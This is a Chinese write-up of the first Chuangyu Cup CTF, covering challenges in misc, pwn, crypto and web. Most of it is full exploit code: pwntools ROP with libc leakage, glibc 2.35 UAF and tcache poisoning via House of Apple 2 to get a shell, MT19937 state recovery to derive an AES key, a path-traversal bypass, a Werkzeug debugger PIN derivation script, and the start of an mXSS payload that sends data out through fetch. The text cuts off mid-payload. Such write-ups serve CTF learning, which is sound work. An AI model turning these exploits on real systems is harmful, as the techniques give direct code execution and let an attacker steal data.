文章总结: 本文为第一届创宇杯网络安全技能大赛的WriteUp,涵盖签到、MISC、Pwn、Crypto等赛题。MISC涉及流量分析和图片隐写;Pwn题包括栈溢出、UAF利用及VM逃逸;Crypto题通过逆向MT19937预测AES密钥。文章提供了详细解题思路和exp代码,对CTF学习具有参考价值。
综合评分: 75
文章分类: CTF,二进制安全,漏洞分析,恶意软件,其他
第一届创宇杯网络安全技能大赛-WriteUp
原创
OnePanda-Sec
OnePanda-Sec
OnePanda-Sec
2026年9月19日 09:00
河南
在小说阅读器读本章
去阅读
在公众号小说中沉浸阅读
– 团队招新 –
01
签到
在微信公众号发送信息后,提供了一个网址,完成网址的游戏内容,即可获得flag
MISC
截获
用流量分析工具lovespark,发现分析出来的都是键盘流量,用集成化的flag检测到flag
薛定谔的猫
打开获取连接发现出错,怀疑文件后缀问题,此题根本不是pdf
发现是一个猫的png图片
发现文件末尾base编码
那么这题大概率是一个图片隐写,大小不对怀疑后面藏着附加文件
发现后面藏在zip文件
加上前面的flag片段
检测图片发现,于是得到flag
02
Pwn
blindrop
关键函数
该函数存在栈溢出漏洞,read向约128字节的栈对象写入最多1024字节,可以覆盖canary、保存寄存器和返回地址。由于canary由用户传入的expected设置,
覆盖二者使其相等,从而绕过检查并劫持程序执行流程。
printf使用%s输出,造成越界读取。
泄漏libc进行利用
exp
from pwn import *
from pwnlib.dynelf import DynELF
import sys
context.arch = 'i386'
C,R,W,V,M,G,S = 0x0804901f,0x08049050,0x08049090,0x08049223,0x080492c2,0x0804b280,0x0804b2e0
io = remote(sys.argv[1], int(sys.argv[2]))
io.recv(timeout=1)
def pay(x):
return flat(b'A'*0x80,C,b'B'*4,0,0,x)
def leak(a):
io.send(pay([W,C,1,a,0x100,V,M,C]))
io.recvuntil(b'canary check passed.\n')
return io.recvuntil(b'payload> ', drop=True)
r = u32(leak(G)[:4])
p = r & ~0xfff
v = p
for _ in range(50):
p -= 0x10000
if len(leak(p)) < 4:
break
v = p
base = next(v-i*0x1000 for i in range(17) if leak(v-i*0x1000)[:4] == b'\x7fELF')
e = DynELF(leak, pointer=base, elf=None, libcdb=False).lookup('execve')
b = b'/bin/cat\x00/flag\x00' + p32(S) + p32(S+9) + p32(0)
io.send(pay([R,C,0,S,len(b),e,0,S,S+15,0]))
io.recvuntil(b'canary check passed.\n')
io.send(b)
io.interactive()
得到flag
Miao
Flag: flag{aa1738a6-45bc-472e-8226-855fc191ded5}
漏洞
delete_note 调用 free 后没有清空 notes[i].ptr,因此可以对已释放块继续 show 和 edit,形成 UAF。edit 还会在块尾后写一个 NUL。题目使用 Ubuntu GLIBC 2.35,__free_hook 已不再是有效控制流目标,所以采用退出阶段的 House of Apple 2。
利用链
- 申请
0x500块并释放。通过 UAF show读取 unsorted bin 的 main_arena+0x60指针,得到: - TEXT复制
libc_base = leak - 0x21ace0
- 申请两个相邻的
0x80块。释放并读取 tcache safe-linking 数据:第一个泄露 a >> 12,第二个泄露 a ^ (b >> 12),从而恢复精确的堆地址。伪造 FILE 放在前面的 0x3f0块中,地址为 a - 0x400。 - 通过 UAF 将 tcache entry 的 key 清零,绕过 double-free 检测;再把 tcache next 改为
_IO_list_all,申请两次后获得对 _IO_list_all的写入。 - 构造 House of Apple 2:
- FILE 的
_flags为 b' sh\0',因此 FILE 首地址也是 system的命令参数; - 外层 vtable 使用合法的
libc.sym['_IO_wfile_jumps'],绕过 vtable 检查; -
_wide_data->_wide_vtable指向堆上的伪造 vtable; - 伪造 vtable 的
+0x68写入 system。
- 选择 5 退出。glibc 的
_IO_cleanup刷新 _IO_list_all,最终调用 system(" sh"),取得 shell 后读取 flag。
exp:
from pwn import *
context.arch = 'amd64'
context.log_level = 'info'
HOST = 'challenge.xiaoyuyc.com'
PORT = 34328
LIBC = ELF('./libc.so.6', checksec=False)
io = remote(HOST, PORT)
def menu(choice):
io.sendlineafter(b'> ', str(choice).encode())
def add(size, data):
menu(1)
io.sendlineafter(b'Size: ', str(size).encode())
io.sendafter(b'Content: ', data)
def delete(index):
menu(2)
io.sendlineafter(b'Index: ', str(index).encode())
def show(index):
menu(3)
io.sendlineafter(b'Index: ', str(index).encode())
io.recvuntil(b'Content: ')
return io.recvuntil(b'\n', drop=True)
def edit(index, data):
menu(4)
io.sendlineafter(b'Index: ', str(index).encode())
io.sendafter(b'Content: ', data)
add(0x500, b'A' * 8) # 0
add(0x20, b'B' * 8) # 1
add(0x3f0, b'C' * 8) # 2, fake FILE
add(0x80, b'D' * 8) # 3, chunk a
add(0x80, b'E' * 8) # 4, chunk b
delete(0)
libc_leak = u64(show(0)[:8].ljust(8, b'\0'))
LIBC.address = libc_leak - 0x21ace0
delete(3)
key = u64(show(3)[:8].ljust(8, b'\0'))
delete(4)
encoded = u64(show(4)[:8].ljust(8, b'\0'))
chunk_a = None
for candidate_key in (key - 1, key, key + 1):
candidate = encoded ^ candidate_key
if candidate >> 12 == candidate_key:
chunk_a = candidate
key = candidate_key
break
assert chunk_a is not None
fake_file = chunk_a - 0x400
payload = bytearray(0x3f0)
payload[0:4] = b' sh\x00'
payload[0x20:0x28] = p64(0)
payload[0x28:0x30] = p64(1)
payload[0x68:0x70] = p64(0)
payload[0x88:0x90] = p64(fake_file + 0x300)
payload[0xa0:0xa8] = p64(fake_file + 0xb0)
payload[0xc0:0xc8] = p64(0)
payload[0xd8:0xe0] = p64(LIBC.sym['_IO_wfile_jumps'])
payload[0xb0 + 0x18:0xb0 + 0x20] = p64(0)
payload[0xb0 + 0x20:0xb0 + 0x28] = p64(0)
payload[0xb0 + 0x30:0xb0 + 0x38] = p64(0)
payload[0x120 + 0x68:0x120 + 0x70] = p64(LIBC.sym['system'])
payload[0xb0 + 0xe0:0xb0 + 0xe8] = p64(fake_file + 0x120)
edit(2, bytes(payload))
edit(3, b'A' * 8 + p64(0))
delete(3)
target = LIBC.sym['_IO_list_all']
edit(3, p64(target ^ key) + p64(0))
add(0x80, b'F' * 8)
add(0x80, p64(fake_file))
io.sendlineafter(b'>> ', b'5')
io.sendline(b'cat flag; cat /flag')
io.interactive()
vmpwn
后门函数
主函数
发现漏洞在run_vm处会造成数组越界写
漏洞在run_vm的这里用用户控制的下标写vmmem但没有检查范围当下标为八时会越界写到后面的函数指针funcs零利用时把win地址压栈再写到funcs零最后调用funcs零就能执行win拿到flag。
Exp:
from pwn import *
p = remote("challenge.xiaoyuyc.com", 44287)
payload = b"\x01" + p64(0x4012c7)
payload += b"\x02\x08"
payload += b"\x04\x00"
p.recvuntil(b"len> ")
p.sendline(str(len(payload)).encode())
p.recvuntil(b"code> ")
p.send(payload)
p.interactive()
03
Crypto
againCBC
首先对题目 chal.py 进行分析,发现是用 random.randbytes 生成 AES key 和每次的 IV:
那后面就好办了,random 是 Mersenne Twister(624 个 32 位字一组),不是密码学安全的。每次落地的 IV 就是 MT 连续输出,而 key 恰好是同一路输出的前 4 个字。IV 已知 → 拿到 1244 个字就能反推 key。
ok,后续进行连接,一次性进行320次请求,就可以获得320 个 IV||C,即 MT 输出 #4 起的 1280 个字(randbytes(16) = 4 个小端字,顺序即生成顺序)。接着untemper 去掉回火,得到两批完整/半批状态:state_0[4..623](来自输出 4..623)与 state_1[0..623](输出 624..1247)。最后使用 MT 递推 x[k+624] = x[k+397] ^ f(x[k], x[k+1]) 反解被吃掉的 4 个字 —— 关键是 f 可逆,且 k=t-1 那条方程给出 x[t] 的低 31 位(否则这 31 位在状态里是”死位”),再断言 twist(state_0) == state_1 校验,保证反推正确。最后,对 x[t..t+3] 回火(=temper)即得输出 0..3,拼成 key,直接 AES-CBC 解密任意 gift。
N, M = 624, 397
MATRIX_A = 0x9908b0df
UPPER = 0x80000000
LOWER = 0x7fffffff
MASK = 0xffffffff
def undo_right(y, shift):
x = y
for _ in range(6):
x = y ^ (x >> shift)
return x & MASK
def undo_left(y, shift, mask):
x = y
for _ in range(6):
x = y ^ ((x << shift) & mask)
return x & MASK
def untemper(y):
y = undo_right(y, 18)
y = undo_left(y, 15, 0xefc60000)
y = undo_left(y, 7, 0x9d2c5680)
y = undo_right(y, 11)
return y & MASK
def temper(y):
y ^= (y >> 11)
y ^= (y << 7) & 0x9d2c5680
y ^= (y << 15) & 0xefc60000
y ^= (y >> 18)
return y & MASK
def twist(state):
mt = list(state)
for kk in range(N - M):
y = (mt[kk] & UPPER) | (mt[kk + 1] & LOWER)
mt[kk] = mt[kk + M] ^ (y >> 1) ^ (MATRIX_A if (y & 1) else 0)
for kk in range(N - M, N - 1):
y = (mt[kk] & UPPER) | (mt[kk + 1] & LOWER)
mt[kk] = mt[kk + (M - N)] ^ (y >> 1) ^ (MATRIX_A if (y & 1) else 0)
y = (mt[N - 1] & UPPER) | (mt[0] & LOWER)
mt[N - 1] = mt[M - 1] ^ (y >> 1) ^ (MATRIX_A if (y & 1) else 0)
return mt
def f(a, b):
y = (a & UPPER) | (b & LOWER)
return (y >> 1) ^ (MATRIX_A if (y & 1) else 0)
def inv_f(val):
b = (val >> 31) & 1
return (((val ^ (MATRIX_A if b else 0)) << 1) & MASK) | b
def recover_key_words(outs):
s0 = [None] * N
s1 = [None] * N
for i in range(4, N):
s0[i] = untemper(outs[i])
for i in range(N):
s1[i] = untemper(outs[N + i])
for i in range(4):
y = inv_f(s1[i] ^ s0[M + i])
s0[i] = (s0[i] or 0) | ((y >> 31) << 31)
if i + 1 < 4:
s0[i + 1] = (s0[i + 1] or 0) | (y & LOWER)
else:
assert (y & LOWER) == (s0[i + 1] & LOWER), "low bits mismatch"
y = inv_f(s0[N - 1] ^ s0[M - 1])
s0[0] = ((y & LOWER) | (s0[0] & UPPER)) & MASK
assert twist(s0) == s1, "state recovery failed"
return [temper(s0[i]) for i in range(4)]
def words_from_bytes(b, word_order="little", reverse=False):
words = []
for i in range(0, len(b), 4):
chunk = b[i:i + 4]
words.append(int.from_bytes(chunk, word_order))
if reverse:
words.reverse()
return words
import re
import socket
import sys
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad
import mt
HOST = "challenge.xiaoyuyc.com"
PORT = 37185
NQUERY = 320
def collect(n=NQUERY):
s = socket.create_connection((HOST, PORT), timeout=20)
s.sendall(b"go\n" * n)
buf = b""
gifts = []
while len(gifts) < n:
try:
chunk = s.recv(65536)
except socket.timeout:
break
if not chunk:
break
buf += chunk
gifts = re.findall(rb"your gift: ([0-9a-f]+)", buf)
s.close()
return [bytes.fromhex(g.decode()) for g in gifts]
def main():
blobs = collect()
print(f"[*] collected {len(blobs)} gifts")
if len(blobs) < 312:
print("[!] not enough gifts")
return 1
ivs = blobs[0][:16]
ct0 = blobs[0][16:]
words = []
for b in blobs:
words += mt.words_from_bytes(b[:16], "little") # IV = 4 MT outputs
print(f"[*] have {len(words)} MT words (need 1244)")
known = [None] * 4 + words
kw = mt.recover_key_words(known)
key = b"".join(w.to_bytes(4, "little") for w in kw)
print(f"[*] key = {key.hex()}")
for name, k in (
("little-endian words", key),
("big-endian words", b"".join(w.to_bytes(4, "big") for w in kw)),
):
for blob in blobs[:8]:
iv, ct = blob[:16], blob[16:]
try:
pt = unpad(AES.new(k, AES.MODE_CBC, iv).decrypt(ct), 16)
except Exception:
continue
print(f"[+] {name}: {pt!r}")
return 0
print("[-] no candidate produced valid padding")
return 1
if __name__ == "__main__":
sys.exit(main())
04
WEB
Hackers Blog
首先进行信息收集,注意到
之后后台大概率在/admin路由上,测试一下
问题不大,之后使用常规的弱密码进行登录测试。发现不行,转而猜测是否是cookie伪造。注意到
确定是可以直接对cookie进行伪造登录的
成功。进行带cookie扫描后台,发现存在download.php,尝试直接拉取它,可以获得他的源码。
<?php
session_start();
require_once __DIR__ . '/../config.php';
if (!isset($_COOKIE['admin_auth']) || $_COOKIE['admin_auth'] !== 'true') {
header("HTTP/1.1 403 Forbidden");
die("Permission Denied.");
}
$file = $_GET['file'] ?? '';
if (empty($file)) {
die("Parameter 'file' is missing.");
}
if (strpos($file, '../') !== false) {
echo "哎哟 被过滤了";
$file = str_replace('../', '', $file);
}
$filepath = __DIR__ . '/' . $file;
if (!file_exists($filepath)) {
die("File not found.");
}
header("Content-Type: application/octet-stream");
header("Content-Disposition: attachment; filename=" . basename($filepath));
readfile($filepath);
?>
审计之后直接确定
- 只检测字面量
../,没有 realpath / 白名单 -
str_replace('../', '', $file)不会循环替换。PHP 的 str_replace在原串上从左到右替换互不重叠的匹配,替换结果里新产生的../不会再处理。
那么我们可以直接读flag,payload:....//....//....//....//flag
PyBundlePin
先进行空间测绘
首页是一个「诊断包查看器」,功能面很小:
-
GET /bundle/index—— 公开的笔记索引(带签名 ticket) -
GET /bundle/read?name=&ticket=—— 按签名读取条目 -
POST /console—— Werkzeug 调试控制台,需要 9 位 PIN,cmd可选 help/uptime/hostname/flag -
GET /debug/status—— 确认控制台格式与限速
页面提示:/debug/status confirms the console format. Source is provided. The intended route is still code audit, not online brute force.
目标很明确:拿到 Werkzeug PIN → 调用 cmd=flag。限速为 5 次 / 60 秒,所以必须算出 PIN,而不是爆破。
之后进行逐个分析:
{
"bundle_salt": "7ace7eb71731c2948dd9216afd87d1d6",
"entries": [
{"name": "notes/ops.txt", "size": 101, "ticket": "526f9b9a397bf841cf2b2d48"},
{"name": "notes/reminder.txt", "size": 93, "ticket": "d085d11258202840c54391ec"},
{"name": "notes/welcome.txt", "size": 77, "ticket": "0f23ecee41c9e2220bd5e691"}
]
}
发现签名盐直接公开
{
"bundle_mode": "signed-preview",
"debug_console": "locked",
"pin_digits": 9,
"pin_format": "Werkzeug debugger PIN",
"rate_limit": {"max_attempts": 5, "window_seconds": 60},
"service": "PyBundlePin"
}
既然如此,那我们就可以逆向出ticket签名算法:ticket = sha1(f"{salt}|{name}").hexdigest()[:24]
import hashlib
salt = "7ace7eb71731c2948dd9216afd87d1d6"
h = hashlib.sha1(f"{salt}|notes/ops.txt".encode()).hexdigest()[:24]
之后进行对照实验(用已知文件 notes/ops.txt 的 ticket):
| 请求 name | 结果 |
| — | — |
| notes/ops.txt | 200 |
| notes//ops.txt | 200 |
| ./notes/ops.txt | 200 |
| notes/./ops.txt | 200 |
| a/../notes/ops.txt | 200 |
| notex/../notes/ops.txt | 200 |
| ../app.py(用 app.py 的 ticket) | 404 bundle entry not found |
| ../flag(用 flag 的 ticket) | 404 bundle entry not found |
得出结论:
- 先规范化 name,再对规范化结果验签(否则
notes//ops.txt不会通过) - 规范化规则是「钳制式」:
- 跳过空段与
.遇 ..时若栈非空则弹出,否则直接丢弃 - 结果拼回
/
- 因此前导
..被吃掉,../** **无法逃出 bundle 根目录:
-
../flag→ flag -
../../../../etc/passwd→ etc/passwd -
/etc/passwd、....//之类同样无效
但是读取基于文件系统 ?name=notes 会返回 {"error":"directories are not previewable"} 那就说明读接口会 stat 目标路径并区分「存在但为目录」和「不存在」,可以在 bundle 根目录内做目录/文件枚举。
然后对每个候选名字用 sha1(salt|name)[:24] 签名后请求:
-
400 directories are not previewable→ 命中目录 -
200→ 命中可读文件 -
404 bundle entry not found→ 不存在
枚举一下:
目录:
notes
diag
diag/etc
diag/proc
diag/sys
diag/proc/self, diag/proc/1, diag/sys/class/net, ...
文件:
notes/ops.txt / notes/reminder.txt / notes/welcome.txt
diag/etc/* (passwd、hostname、hosts、os-release、group、resolv.conf …)
diag/proc/* (version、cmdline、cgroup、self/environ、self/status …)
diag/proc/sys/kernel/random/boot_id
diag/sys/class/net/eth0/address
之后访问这几个关键接口:
diag/etc/passwd -> ... ctf:x:10001:999::/home/ctf:/bin/sh
diag/etc/hostname -> web2-6988f45b5b6c49a1
diag/proc/self/cmdline -> /usr/local/bin/python3.12 /usr/local/bin/gunicorn -b 0.0.0.0:5000 app.app:app --preload --workers 1 --threads 4
diag/proc/self/cgroup -> 0::/
diag/proc/sys/kernel/random/boot_id -> facc9be5-c6ed-4c06-a95a-6842575dd37d
diag/sys/class/net/eth0/address -> 86:b2:e8:39:ae:92
diag/proc/self/environ -> HOME=/home/ctf ... PYTHON_VERSION=3.12.14 ... APP_SALT=7ace7eb71731c2948dd9216afd87d1d6
diag/etc/machine-id -> 404(不存在,因此 machine_id 走 boot_id 分支)
确认了 APP_SALT 就是 bundle_salt
最后计算 Werkzeug PIN
probably_public_bits = [
username, # getpass.getuser()
modname, # app.__module__ -> 'flask.app'
getattr(app, "__name__", type(app).__name__),# 'Flask'
getattr(mod, "__file__", None), # flask/app.py 的绝对路径
]
private_bits = [str(uuid.getnode()), get_machine_id()]
h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode()
h.update(bit)
h.update(b"cookiesalt")
# ... (cookie name)
h.update(b"pinsalt")
num = f"{int(h.hexdigest(), 16):09d}"[:9] # 取 9 位
pin = "-".join(num[i:i+3] for i in range(0, 9, 3))
思路明了,直接写exp
#!/usr/bin/env python3
from __future__ import annotations
import argparse
import hashlib
import re
import sys
import urllib.error
import urllib.parse
import urllib.request
from concurrent.futures import ThreadPoolExecutor
from itertools import chain
if hasattr(sys.stdout, "reconfigure"):
sys.stdout.reconfigure(encoding="utf-8", errors="replace")
DEFAULT_BASE = "http://challenge.xiaoyuyc.com:31475"
# 枚举 bundle 目录树用的字典 (会依次套用到 "", "diag/", "diag/etc/", ... 前缀)
WORDS = [
# 目录
"diag", "notes", "support", "data", "logs", "log", "meta", "config", "conf",
"etc", "proc", "sys", "debug", "console", "pin", "secrets", "keys", "bundle",
"files", "static", "assets", "templates",
# 源码
"app.py", "main.py", "wsgi.py", "server.py", "config.py", "settings.py",
"utils.py", "bundle.py", "console.py", "debug.py", "pin.py",
# flag / 环境
"flag", "flag.txt", ".env", "env", "environ", "environment",
# etc
"machine-id", "machine_id", "hostname", "hosts", "passwd", "shadow", "group",
"os-release", "resolv.conf",
# proc
"self", "self/cgroup", "self/environ", "self/cmdline", "self/status",
"cgroup", "status", "cmdline", "version", "cpuinfo",
"sys/kernel/random/boot_id",
# sys
"class/net/eth0/address", "class/net/lo/address", "address",
# 杂项
"info", "info.txt", "readme.txt", "README", "README.md", "requirements.txt",
"Dockerfile", "bundle.json", "index.json", "manifest.json", "meta.json",
"pin.txt", "debug.txt", "support.txt", "report.txt", "tree.txt", "list.txt",
"hint.txt", "todo.txt", "notes.txt", "welcome.txt", "ops.txt", "reminder.txt",
]
# Werkzeug PIN 的 flask/app.py 候选路径 (官方 python 镜像优先)
FLASK_PATHS = [
"/usr/local/lib/python3.12/site-packages/flask/app.py",
"/usr/lib/python3/dist-packages/flask/app.py",
"/usr/local/lib/python3.12/dist-packages/flask/app.py",
"/opt/venv/lib/python3.12/site-packages/flask/app.py",
]
def http_get(url: str, timeout: int = 10):
req = urllib.request.Request(url, headers={"User-Agent": "Mozilla/5.0"})
try:
with urllib.request.urlopen(req, timeout=timeout) as r:
return r.status, r.read()
except urllib.error.HTTPError as e:
return e.code, e.read()
except Exception as e: # noqa: BLE001
return -1, f"<err {type(e).__name__}>".encode()
def http_post(url: str, data: dict, timeout: int = 10):
body = urllib.parse.urlencode(data).encode()
req = urllib.request.Request(
url, data=body, method="POST",
headers={"User-Agent": "Mozilla/5.0",
"Content-Type": "application/x-www-form-urlencoded"},
)
try:
with urllib.request.urlopen(req, timeout=timeout) as r:
return r.status, r.read().decode("utf-8", "replace")
except urllib.error.HTTPError as e:
return e.code, e.read().decode("utf-8", "replace")
except Exception as e: # noqa: BLE001
return -1, f"<err {type(e).__name__}>"
class Bundle:
def __init__(self, base: str):
self.base = base.rstrip("/")
self.salt = self._load_salt()
def _load_salt(self) -> str:
st, body = http_get(f"{self.base}/bundle/index")
if st != 200:
sys.exit(f"[!] /bundle/index 不可用: HTTP {st}")
import json
self.index = json.loads(body)
return self.index["bundle_salt"]
def ticket(self, name: str) -> str:
return hashlib.sha1(f"{self.salt}|{name}".encode()).hexdigest()[:24]
def read(self, name: str):
url = f"{self.base}/bundle/read?" + urllib.parse.urlencode(
{"name": name, "ticket": self.ticket(name)})
return http_get(url)
def clamp(name: str) -> str:
"""服务端的钳制式规范化: 丢空段/'.', '..' 弹栈, 前导 '..' 直接丢弃。"""
parts: list[str] = []
for p in name.split("/"):
if p in ("", "."):
continue
if p == "..":
if parts:
parts.pop()
continue
parts.append(p)
return "/".join(parts)
# --------------------------------------------------------------------------
# step 1/2: 泄露盐 + 逆出并自校验签名算法
# --------------------------------------------------------------------------
def step_signature(b: Bundle) -> None:
print(f"[*] bundle_salt = {b.salt}")
print("[*] 校验 ticket 算法 sha1(f'{salt}|{name}')[:24]:")
for entry in b.index["entries"]:
got = b.ticket(entry["name"])
ok = got == entry["ticket"]
print(f" {'OK ' if ok else 'BAD'} {entry['name']:<22} {got}")
if not ok:
sys.exit("[!] 签名算法不匹配")
print("[+] 盐公开 -> 任意路径均可伪造 ticket")
# --------------------------------------------------------------------------
# step 3: 演示路径规范化 (钳制, 无法越界)
# --------------------------------------------------------------------------
def step_normalize(b: Bundle) -> None:
"""服务端先规范化 name, 再对规范化结果验签 —— 所以这里也要用 norm 签名。"""
print("[*] 路径规范化 (钳制式, ../ 无法越出 bundle 根; 验签针对 norm):")
for name in ["notes//ops.txt", "a/../notes/ops.txt", "../flag",
"../../../../etc/passwd", "/etc/passwd",
"....//....//....//....//flag"]:
norm = clamp(name)
url = f"{b.base}/bundle/read?" + urllib.parse.urlencode(
{"name": name, "ticket": b.ticket(norm)})
st, body = http_get(url)
snippet = body.decode("utf-8", "replace")[:60].replace("\n", " ")
print(f" {st} {name!r:<34} -> norm={norm!r:<22} {snippet}")
# --------------------------------------------------------------------------
# step 4: 枚举 bundle 目录树
# --------------------------------------------------------------------------
def crawl(b: Bundle, max_depth: int = 4, workers: int = 8):
dirs: list[str] = []
files: list[str] = []
queue: list[tuple[str, int]] = [("", 0)]
seen: set[str] = set()
while queue:
prefix, depth = queue.pop(0)
names = [prefix + w for w in WORDS if prefix + w not in seen]
seen.update(names)
if not names:
continue
with ThreadPoolExecutor(max_workers=workers) as pool:
results = list(pool.map(lambda n: (n, *b.read(n)), names))
for name, st, body in results:
if st == 400 and b"directories" in body:
dirs.append(name)
if depth + 1 < max_depth:
queue.append((name + "/", depth + 1))
elif st == 200:
files.append(name)
return dirs, files
def step_enum(b: Bundle):
print("[*] 枚举 bundle 目录树 ...")
dirs, files = crawl(b)
for d in dirs:
print(f" DIR {d}")
for f in files:
print(f" FILE {f}")
return dirs, files
# --------------------------------------------------------------------------
# step 5: 从诊断包里提取机器指纹
# --------------------------------------------------------------------------
def content_of(b: Bundle, name: str):
st, body = b.read(name)
if st != 200:
return None
try:
import json
return json.loads(body)["content"]
except Exception: # noqa: BLE001
return None
def parse_machine_info(b: Bundle) -> dict:
info: dict = {}
environ = content_of(b, "diag/proc/self/environ") or ""
env = dict(kv.split("=", 1) for kv in environ.split("\0") if "=" in kv)
home = env.get("HOME", "")
passwd = content_of(b, "diag/etc/passwd") or ""
users = []
for line in passwd.splitlines():
fields = line.split(":")
if len(fields) >= 6:
users.append((fields[0], fields[2], fields[5]))
username = None
if home:
username = home.rstrip("/").split("/")[-1]
if not username:
for name, uid, shell in users:
if uid.isdigit() and int(uid) >= 1000:
username = name
break
info["username"] = username
info["users"] = users
machine_id = content_of(b, "diag/etc/machine-id")
boot_id = content_of(b, "diag/proc/sys/kernel/random/boot_id")
cgroup = content_of(b, "diag/proc/self/cgroup") or ""
if machine_id and machine_id.strip():
base = machine_id.strip().encode()
else:
base = (boot_id or "").strip().encode()
tail = cgroup.splitlines()[0].strip().encode().rpartition(b"/")[2] if cgroup else b""
info["machine_id"] = base + tail
mac = None
for iface in ("eth0", "ens3", "enp0s3", "eth1"):
val = content_of(b, f"diag/sys/class/net/{iface}/address")
if val:
mac = val.strip()
break
info["mac"] = mac
info["node_int"] = int(mac.replace(":", ""), 16) if mac else None
info["hostname"] = (content_of(b, "diag/etc/hostname") or "").strip()
info["cmdline"] = (content_of(b, "diag/proc/self/cmdline") or "").replace("\0", " ").strip()
print("[*] 机器指纹:")
for k in ("hostname", "username", "mac", "node_int", "machine_id", "cmdline"):
print(f" {k:<11}= {info.get(k)}")
return info
# --------------------------------------------------------------------------
# step 6: 按 Werkzeug 算法推导 PIN
# --------------------------------------------------------------------------
def werkzeug_pin(username, modname, appname, modfile, node_int, machine_id) -> str:
"""werkzeug/debug/__init__.py :: get_pin_and_cookie_name"""
h = hashlib.sha1()
for bit in chain([username, modname, appname, modfile],
[str(node_int), machine_id]):
if not bit:
continue
h.update(bit.encode() if isinstance(bit, str) else bit)
h.update(b"cookiesalt")
h.update(b"pinsalt")
num = f"{int(h.hexdigest(), 16):09d}"[:9]
return "-".join(num[i:i + 3] for i in range(0, 9, 3))
def pin_candidates(info: dict):
users: list[str] = []
if info.get("username"):
users.append(info["username"])
for u in ("ctf", "www-data", "root"):
if u not in users:
users.append(u)
node = info.get("node_int")
mid = info.get("machine_id") or b""
for user in users:
for modfile in FLASK_PATHS:
yield user, "flask.app", "Flask", modfile, node, mid
yield user, "flask.app", "Flask", None, node, mid
# --------------------------------------------------------------------------
# step 7: 提交 PIN, 拿 flag
# --------------------------------------------------------------------------
FLAG_RE = re.compile(r"flag**\{**[^}]+**\}**")
def step_console(base: str, pin: str):
st, body = http_post(f"{base}/console", {"pin": pin, "cmd": "flag"})
m = FLAG_RE.search(body or "")
if m:
print(f"[+] PIN {pin} 正确, 得到 FLAG")
return m.group(0)
snippet = re.sub(r"<[^>]+>", " ", body or "")[:120]
print(f"[-] PIN {pin} 失败 (HTTP {st}): {' '.join(snippet.split())}")
return None
def main() -> int:
ap = argparse.ArgumentParser(description="PyBundlePin 一键复现")
ap.add_argument("--base", default=DEFAULT_BASE, help="目标 base url")
ap.add_argument("--pin", help="已知 PIN, 跳过推导直接提交")
ap.add_argument("--max-attempts", type=int, default=4, help="控制台最多尝试次数")
args = ap.parse_args()
b = Bundle(args.base)
step_signature(b)
step_normalize(b)
step_enum(b)
info = parse_machine_info(b)
print("[*] PIN 候选推导:")
if args.pin:
candidates = [args.pin]
else:
candidates = [werkzeug_pin(*c) for c in pin_candidates(info)]
candidates = list(dict.fromkeys(candidates))
for c in candidates:
print(f" {c}")
for pin in candidates[:args.max_attempts]:
flag = step_console(args.base, pin)
if flag:
print(f"\n[=] FLAG: {flag}")
return 0
print("\n[!] 未命中, 请检查机器指纹或手动指定 --pin")
return 1
if __name__ == "__main__":
sys.exit(main())
ReContext Memo
首页是一个备忘录站:作者写富文本 → 服务端清洗后存储 → 管理员复核可疑备忘录。页面提供了两个关键入口:
-
POST /ui/notes:创建备忘录,302 到 /note/<id> -
POST /ui/report:把备忘录提交给”管理员复核队列”,返回 queued / logging-in / done -
/collect/<token>:同源收信箱(GET 看消息,POST 存文本),首页回显当前 token,天然的回连外带通道 -
/note/<id>页面把清洗结果 base64 放在 data-html上,由前端脚本渲染
- 普通页面
data-render-mode="normal":innerHTML = sanitized,安全; - 管理员复核页
/review/<id>是 legacy-xmp:把清洗结果塞进 <xmp>再 innerHTML。 -
xmp是 HTML 的 raw-text 元素,一旦 sanitized里出现字面量 </xmp>,<xmp>提前闭合,后面的内容就会被当成真实标签解析 —— 只要能往清洗结果里塞进 </xmp>,就能拿到 XSS。
尝试不同 payload 打 POST /ui/notes,读回 data-html(base64 解码)得到规则:
| 输入 | 存储结果 | 结论 |
| — | — | — |
| <img src=x onerror=alert(1)><script>alert(2)</script> | <img src="x"> | 白名单标签 + 事件属性剥离,script 连内容一起丢 |
| <b><i><u><em><strong><code><pre><br><ul><li> | 原样 | 这些标签在白名单里 |
| div / span / h1 / table / details / form / button / iframe / style / noscript / xmp / template | 标签被丢,文本保留(style/template 连内容丢) | 不在白名单 |
| <a href="javascript:alert(1)">c</a> | <a>c</a> | href 只放行 http(s),javascript: 被剥掉 |
| <p title='a" onclick="alert(1)'>x</p> | <p title="a" onclick="alert(1)">x</p> | " 会被转义成 ",' 不转义 |
| <p title="a</p><img src=x onerror=alert(1)>">x</p> | <p title="a</p><img src=x onerror=alert(1)>">x</p> | 属性值里的 < > 原样保留 |
由此知道 title 属性在白名单里,且它的值只有 " 被转义,< / > 原样落地。于是可以这样走私 </xmp>
输入: <p title="</xmp><img src=x onerror=alert(1)>">
存储: <p title="</xmp><img src=x onerror=alert(1)>"></p>
在 normal 模式下,<img ...> 只是被引号包住的属性文本,无害;但在 legacy-xmp 模式下
sink.innerHTML = `<xmp class="memo-frame"><p title="</xmp><img src=x onerror=alert(1)>"></p></xmp>`;
<xmp> 的 raw text 到 </xmp> 就结束,后面 <img src=x onerror=alert(1)> 成为真实元素并触发 —— 同一段清洗结果,换个上下文(re-context)就从数据变成了代码
之后寻找管理员bot,使用POST扫描,命中 /api/* 确定 /api/admin/flag 就是 flag 接口,只需要管理员会话。而管理员的会话 cookie 是 HttpOnly(bot 页面里 document.cookie、localStorage、sessionStorage 全为空),JS 读不到 —— 只能让 bot 自己去请求。
按照这个思路写exp
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
import argparse
import json
import re
import sys
import time
import requests
if hasattr(sys.stdout, "reconfigure"):
sys.stdout.reconfigure(encoding="utf-8", errors="replace")
DEFAULT_BASE = "http://challenge.xiaoyuyc.com:39390"
UA = (
"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 "
"(KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36"
)
FLAG_RE = re.compile(r"flag**\{**[^}]***\}**")
def build_payload(collect_token):
"""构造 mXSS payload。
注意两点:
* 清洗器会把属性值里的 " 转义成 ", 单引号不转义 -> onerror 用单引号包裹;
* 解出 </xmp> 之后的真实标签里, > 会截断未加引号的属性值 -> JS 中避免出现裸的引号嵌套,
字符串统一用反引号。
"""
js = (
"(async()=>{"
"const P=b=>fetch(`/collect/%s`,{method:`POST`,body:b});"
